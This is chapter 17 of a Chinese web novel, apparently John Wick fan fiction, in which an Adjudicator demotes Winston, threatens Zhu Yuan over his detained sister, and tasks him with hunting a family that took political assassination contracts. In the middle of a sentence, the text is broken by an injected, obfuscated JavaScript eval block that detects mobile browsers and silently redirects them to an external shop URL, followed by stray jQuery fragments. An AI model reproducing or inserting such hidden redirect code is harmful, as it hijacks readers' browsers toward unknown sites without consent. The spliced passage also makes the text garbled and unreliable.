17 会谈

    天台上,壁炉烧得火热,火舌舔着玻璃罩子,和外面的冷风各据一方。

    审判员、温斯顿和祝愿呈三角坐着。

    审判员坐在壁炉的前方。温斯顿坐在她左侧,姿态松弛。如果是平日,这是他的地盘,松弛理所应当,但如今却显得十分古怪,因为审判员即将宣判沙漠部族的决定。

    祝愿坐在审判员右侧,眉眼低垂,净白的脸庞透着一股无辜,月白的裙摆也乖巧地垂在脚踝边,在天台的妖风扰乱之下纹丝不动。

    天是灰的,积了一整天的云压得很低,把午后的光线滤成了一种惨淡的灰白色。

    壁炉的火光照在三人身上,把影子拉得又长又斜,交错在石板地面上,像三根指向不同方向的指针。

    审判员拿出那枚黑色圆币,指尖按在圆币边缘轻轻推到桌面中央。

    “温斯顿”,她的声音不高,但每个字都像是钉子,一颗一颗扎进温斯顿的耳膜:“约翰·威克,有三个长老因他陨落,还在大陆酒店杀人,沙漠部族对你在此次事件中的处置方式,非常地不满。一个小时,你给了他一个小时的逃亡时间。”

    温斯顿摘下金丝眼镜,用袖口擦了擦镜片。冷风吹不动他打满摩丝的白发。他无话可说,约翰不眠夜虽依旧由他开启,但他在愤怒之下还是给予约翰·威克一丝怜悯,他理应承受后果。

    审判员不多等待温斯顿是否有辩词,直接宣判部族的决定:“从此刻起,限你一周之内完成工作交接,部族将免除你纽约大陆酒店经理的职务。现在,你可以走了。”

    温斯顿把金丝眼镜重新戴上。他看了一眼审判员,然后看向祝愿。

    祝愿从温斯顿的眼神里明白了他欲置死地而后生的决心,纽约大陆酒店是他的,没有人能从他手里夺走心爱之物。

    祝愿趁着审判员没注意到他,悄悄wink又收敛表情。审判员、或者说沙漠部族碰了个硬茬。呀真是倒霉,一个二个都是反骨仔,一个二个手握权力武力不肯放弃。

    温斯顿微微点了点头,站起来走向天台门口。皮鞋踩在石板路上,一步一步,不紧不慢,天台的门在他身后合拢,发出一声沉闷的轻响。

    冷风猛地“兴风作浪”,柠檬树的枝条剧烈抖动。

    现在天台只剩下两个人了。

    三角变成了对峙的直线,两点之间是最短的距离,也是最危险的距离。

    审判员的目光转向祝愿,那双眼睛极黑,恶意如同潮水般蔓延过来,包围住祝愿无从躲藏。

    祝愿有一种天台的氧气变少了的错觉,少到每一次呼吸都能尝到铁锈的味道。他再次捏了捏尾戒。

    “祝安”,审判员再次开口,反而是提到了另一个不在场的人。“港务局昨日将她转移至华盛顿特区的一处安全屋内,宪法大道附近,离唐人街不远,也许她能吃到家乡的味道。”

    祝愿对这一天的到来有所预料,但听到具体地址时,心底还是不免发凉。港务局里有高桌的人,就在祝安身边,近到能报出她安全屋的门牌号。

    审判员的声音忽然升了一度,带着骇人的笑意:“杜克·哈里森是有名的审讯高手。这段时间用了所有他能用的手段。”审判员戏谑般列举了一些,睡眠剥夺、反复盘问、时间感知扭曲、亲属状况暗示……等等。

    “一个人,连日被关在没有窗户的房间里,面对轮番上阵的审讯官,不知道自己什么时候能出去,不知道自己的家族正在被一点一点吞噬——这种压力下,大多数人会开口,在崩溃的边缘把不该说的和该说的全都吐出来。”

    壁炉里一根木柴裂开,迸出几颗火星。

    审判员慢条斯理地说:“不过,我们一直知道。祝安的审讯记录,每一次问询的录音,她说的每一个字,我们都有。她什么都没有说,哪怕在最疲劳的时候,她的回答也是滴水不漏。这一点——部族很满意。”

    她把“很满意”三个字说得很慢。

    “但是,部族的满意是有时效的。如果她在下一次问询中说了不该说的话,你知道高桌是怎么处理背叛者的。”

    祝安如果被认定为背叛者,祝家所有人都会被除名,列入悬赏,如同约翰·威克,陷入无休止地追杀,得不到地下世界任何一个势力的帮助,手中的金币也会沦为花不出去的废品。

    他抬起眼睛,眼神坚毅:“祝家从未背弃。”

    对高桌、对部族,没有忠诚,何来背叛。

    审判员不知实情,只停顿了一下,忽而轻笑:“或许你该思考思考,要不要借此机会……”她做了个抹脖子的手势。“我们不介意帮你一把。”

    先行除掉祝安,那么无论祝安在港务局里说了什么,都跟祝家、跟祝愿无关了。

    祝愿转动尾戒的动作停了一瞬。

    审判员很满意祝愿因他的话而动摇。

    祝愿:“当然……不。祝安会是祝家的话事人。”一个配合问询的著名商人、纳税大户死在港务局或安全屋,这会引起极大的舆论风暴。同样,要在一个受联邦监控的地点杀一个人,行径过于嚣张,目前看来,对高桌没什么好处。审判员提出这个建议,更多是在试探,在恐吓,在衡量他的忠诚。

    审判员看着他的眼睛:“你们姐弟关系不错,至少表面上是这样。我们见过太多手足相残,德安东尼奥家族只是最近的一个例子。”

    明示了祝安的生死由他们掌控,她转而说起祝家的境遇:“祝家丢失了码头是毋庸置疑的事实。祝安在里面,长老席位名存实亡。你们祝家在这张桌子上的筹码已经输得差不多了,你应该很清楚。”

    祝愿听着审判员的错误判断,她以为祝家在乎那张椅子。他垂眼不置可否,颤抖的睫毛显得他可怜极了。

    审判员看了他片刻,自认为在他的神态里看到了她想看到的东西:一个走投无路的年轻人,一个岌岌可危的家族,一个愿意付出任何代价来换取部族庇护的棋子。她被取悦了。

    她终于说到了这次谈话中要加入祝愿的真正目的:“这段时间,不止一位政治人物遭遇刺杀。每一个杀手都全身而退。你知道这意味着什么?”

    “地下世界的人?”

    “而且是最专业的那一批。沙漠部族怀疑,有家族接受了政治委托,加入了政治游戏。这不被允许!如果这条红线可以被随意越过,地下

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17669720|206771||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    世界就不再独立。部族要查清是哪个家族接了这个单。”

    审判员停顿了一下。她的眼睛始终盯着祝愿,像一只在灰色天光下锁定猎物的鹰。

    “听说警方正在讨论邀请你担任某个职位?这是个好机会。”部族意图顺势安排祝愿从警方系统寻丝觅迹,抓到那个胆子极大的玩政治游戏的家族。这也与祝愿追查“保护伞”的行动不谋而合。

    祝愿说:“明白。”真是瞌睡来了送枕头,他正不知道找什么合适的理由答应丹尼斯的邀请。

    审判员站起来,把圆币收回手心。

    柠檬树的枝条被吹得弯下去又弹回来,青绿的果子撞在一起,像一排沉闷的风铃。

    审判员原本一丝不苟的黑发也被吹得散乱:“如果你一无所获,你不会想知道结果的。”

    她踩着高跟鞋依旧姿态高傲地离开。

    祝愿一个人坐在藤椅上思考。

    灰色天幕低垂,整个天台的空气忽然安静了,只剩下风声和柠檬树叶互相摩擦的沙沙声。壁炉里的火还在烧,但热气似乎传不到他坐的位置。桌面左边那把空了的藤椅——温斯顿坐过的那把,现在只剩下一片片被风吹落又吹离的柠檬树叶。

    港务局内部有高桌的人,警方内部也有高桌的人,但那个人不清楚昨日丹尼斯已经与祝愿初步接触。这个信息差让他判断出对方的大概职位。

    祝愿拿出手机,打开加密频道,“破晓”的对话框安安静静,最后一条消息还是昨晚那张照片。

    他发出一条信息:审判员(已接触)。高桌在港务局和警方内部均有眼线。警方眼线层级可能在公共事务办公室以下。另,审判员要求我接受警方法律顾问职位,后续会通过内部关系将我安排到能接触核心案件的岗位,以调查政治委托案(已接受)。

    祝愿站起来,走到天台边缘。冷风把他的裙摆吹得摇晃,月白的缎面在灰色天光下泛着极淡的银辉。

    第五大道的车流缓缓蠕动,像一条被压扁的银色河流。远处的天际线上,更厚的云层正在堆积,逐渐变成浓郁的黑色。

    暴风雨要来了。

    天台的门被轻轻推开,温斯顿去而复返。他已经换下了西装三件套,只穿着一件白衬衫,袖口挽到手肘处,露出一只劳力士迪通拿金表。

    他把一杯威士忌递给祝愿:“她走了,去处置在那个时间帮助过约翰的人。”

    就守望者们传递的信息,祝愿当然知道将要付出代价的人有谁,约翰·威克的原生帮派话事人,以及提供了枪击桑蒂诺的武器和地图的“丐帮帮主”鲍里王。

    他们同样挂着高桌长老的头衔,却属于不大有话语权的那一批。与手握医药命脉的美第奇、垄断武器研发的沃尔科夫、坐拥全球航运码头的祝家、掌控金币原料的范德林登相比,他们的席位更像是点缀,有座次,无声量。

    而这恰恰意味着,在部族需要杀鸡儆猴的时候,没有人会替他们说话。

    “嗯。”祝愿接过杯子,能想象那股子辣,酒液会从喉咙滑下去,在胃里烧成一小片。

    他依旧没喝一口酒,垂眼思考此刻是否已到达拉拢温斯顿的时机。